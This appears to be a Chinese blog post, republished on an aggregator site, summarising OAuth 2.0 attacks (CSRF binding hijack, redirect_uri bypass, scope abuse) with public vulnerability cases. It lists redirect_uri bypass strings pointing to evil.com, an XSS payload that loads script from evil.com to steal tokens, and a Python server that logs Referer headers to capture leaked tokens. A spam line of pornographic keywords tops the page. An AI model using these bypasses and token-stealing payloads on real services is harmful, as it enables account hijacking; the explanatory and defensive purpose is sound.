日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

OAuth 2.0攻击方法及案例总结

發布時間:2024/1/23 编程问答 53 豆豆
生活随笔 收集整理的這篇文章主要介紹了 OAuth 2.0攻击方法及案例总结 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

OAuth流程

本文以兩種廣泛使用的方案為標準展開。

如對流程不了解,請先移步學習:理解OAuth 2.0

Authorization Code

? response_type = code

? redirect_uri

? scope

? client_id

? state

Implicit

? response_type = token

? redirect_uri

? scope

? client_id

? state

攻擊面

(1).CSRF導致綁定劫持

(2).redirect_uri繞過導致授權劫持

(3).scope越權訪問

綁定劫持

? 攻擊者抓取認證請求構造惡意url,并誘騙已經登錄的網用戶點擊(比如通過郵件或者QQ等方式).認證成功后用戶的賬號會同攻擊者的賬號綁定到一起。

OAuth 2.0提供了state參數用于防御CSRF。認證服務器在接收到的state參數按原樣返回給redirect_uri,客戶端收到該參數并驗證與之前生成的值是否一致。除此方法外也可使用傳統的CSRF防御方案。

案例:人人網-百度OAuth 2.0 redirect_uir CSRF 漏洞

授權劫持

根據OAuth的認證流程,用戶授權憑證會由服務器轉發到redirect_uri對應的地址,如果攻擊者偽造redirect_uri為自己的地址,然后誘導用戶發送該請求,之后獲取的憑證就會發送給攻擊者偽造的回調地址。攻擊者使用該憑證即可登錄用戶賬號,造成授權劫持。

正常情況下,為了防止該情況出現,認證服務器會驗證自己的client_id與回調地址是否對應。常見的方法是驗證回調地址的主域,涉及到的突破方式與CSRF如出一轍:

未驗證

(1) 未驗證的情況,可以直接跳出外域。

? 案例:土豆網某處認證缺陷可劫持oauth_token

驗證繞過

  • auth.app.com.evil.com
  • evil.com?auth.app.com
  • evil.com?@auth.app.com 案例:騰訊OAuth平臺 redirect_uri 過濾不嚴可能導致用戶信息遭竊取(二)
  • auth.app.com@evil.com?案例:繞過網易oauth認證的redirect_uri限制劫持帳號token
  • auth.app.com\@evil.com 案例:騰訊OAuth平臺redirect_uri過濾不嚴可能導致用戶信息遭竊取(四)
  • evil.com\auth.app.com
  • evil.com:\auth.app.com
  • evil.com\.auth.app.com 案例:騰訊OAuth平臺redirect_uri過濾不嚴可能導致用戶信息遭竊取
  • evil.com:\@auth.app.com 案例:新浪微博OAuth平臺redirect_uri過濾不嚴可能導致用戶信息遭竊取
  • 寬字符繞過 案例:?騰訊OAuth平臺redirect_uri過濾不嚴可能導致用戶信息遭竊取(三)

子域可控

(1) 對回調地址驗證了主域為app.com,但其子域evil.app.com可被任意用戶注冊使用。

案例:新浪微博部分App Oauth2漏洞

跨域

(1) 利用可信域的url跳轉從referer偷取token

如果網站存在一個任意url跳轉漏洞,可利用該漏洞構造一下向量

redirect_uri=http://auth.app.com/redirect.php?url=http://evil.com

認證服務器將憑證通過GET方法發送到redirect.php,這時redirect.php執行跳轉,訪問http://evil.com,攻擊者為evil.com記錄日志,并從請求頭中的referer字段提取出該憑證,即可通過該憑證進行授權登錄。

(2)利用跨域請求從referer偷取token

在我們不能繞過redirect_uri的判斷規則時,我們可以使利用跨域請求從referer中偷取token。

例1 redirect_uri限制為app.com,然而app.com/article/1.html中允許用戶發表文章,在文章中嵌入來自evil.com的外部圖片。這時我們可以讓redirect_uri指向該文章app.com/article/1.html,當該文章被訪問時,會自動獲取evil.com/test.jpg,這時攻擊者即可從請求頭的referer拿到token

例2 利用XSS實現跨域

redirect_uri=http://app.com/ajax/cat.html?callback=<script src="http://evil.com?getToken.php"></script>

越權訪問

這個案例展示了scope權限控制不當帶來的安全風險,同時將授權劫持的幾個方面演繹的淋漓盡致。

案例:從“黑掉Github”學Web安全開發

輔助驗證腳本

一個簡易服務器,會記錄來訪者的請求頭。

1.python picserver.py【可選端口號】

2.打開瀏覽器訪問圖片或頁面地址

3.查看日志

4.清除日志

import BaseHTTPServer import datetime import sys import osSERVER = '0.0.0.0' PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 2333 LOG_PATH = 'reqlog.txt'class WebRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):def do_GET(self):if '.png' in self.path:print self.pathfname = '1.png'elif '.jpg' in self.path:fname = '1.jpg'elif '.gif' in self.path:fname = '1.gif'elif '.html' in self.path:fname = 'index.html'elif 'clear' in self.path:os.remove(LOG_PATH)self.send_response(200)self.end_headers()self.wfile.write('ok')returnelse:self.send_response(200)self.end_headers()try:self.wfile.write(open(LOG_PATH, 'r').read())except IOError:print '[*]Create logfile: ' + LOG_PATHreturnmessage_parts = ['<br>===== [%s] %s =====' % (self.path, datetime.datetime.today())]for name, value in sorted(self.headers.items()):message_parts.append('%s: %s' % (name, value.strip()))message = '<br>'.join(message_parts) + '<br>'with open(LOG_PATH, 'a') as f:f.write(message)self.send_response(200)self.end_headers()self.wfile.write(open(fname, 'rb').read())print '[*]Starting server at %s:%d' % (SERVER, PORT) server = BaseHTTPServer.HTTPServer((SERVER, PORT), WebRequestHandler) server.serve_forever()

效果:

參考

  • 理解OAuth 2.0 - 阮一峰
  • 從“黑掉Github”學Web安全開發 - 陳皓
  • 知乎網站安全滲透測試報告 - CplusHua
  • 利用OAuth劫持用戶身份(Kcon 2014) - 藍色di雪球
  • 烏云已公開漏洞

總結

以上是生活随笔為你收集整理的OAuth 2.0攻击方法及案例总结的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。